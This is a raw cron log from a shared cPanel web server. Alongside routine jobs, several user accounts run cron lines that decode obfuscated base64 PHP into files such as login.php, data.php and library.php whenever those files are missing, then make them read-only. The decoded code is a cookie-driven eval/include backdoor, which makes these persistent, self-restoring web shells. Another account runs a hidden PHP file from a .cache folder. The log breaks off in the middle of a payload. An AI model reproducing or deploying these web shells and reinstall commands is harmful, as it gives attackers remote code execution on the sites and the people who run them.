Jun  7 15:02:02 medusa CROND[13271]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:02:02 medusa CROND[13272]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:02:02 medusa CROND[13273]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:02:02 medusa CROND[13275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:02:02 medusa CROND[13276]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:03:02 medusa CROND[15220]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:03:02 medusa CROND[15221]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:03:02 medusa CROND[15222]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:03:02 medusa CROND[15223]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:03:02 medusa CROND[15224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:03:02 medusa CROND[15225]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:03:02 medusa CROND[15226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:03:02 medusa CROND[15227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:03:02 medusa CROND[15228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:03:02 medusa CROND[15235]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:03:02 medusa CROND[15236]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:03:02 medusa CROND[15240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:04:01 medusa CROND[16963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:04:01 medusa CROND[16964]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:04:01 medusa CROND[16966]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:04:01 medusa CROND[16967]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:04:01 medusa CROND[16965]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:04:01 medusa CROND[16969]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:04:01 medusa CROND[16970]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:04:01 medusa CROND[16972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:04:01 medusa CROND[16971]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:04:01 medusa CROND[16977]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:04:01 medusa CROND[16983]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:04:01 medusa CROND[16984]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:04:01 medusa CROND[16985]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRf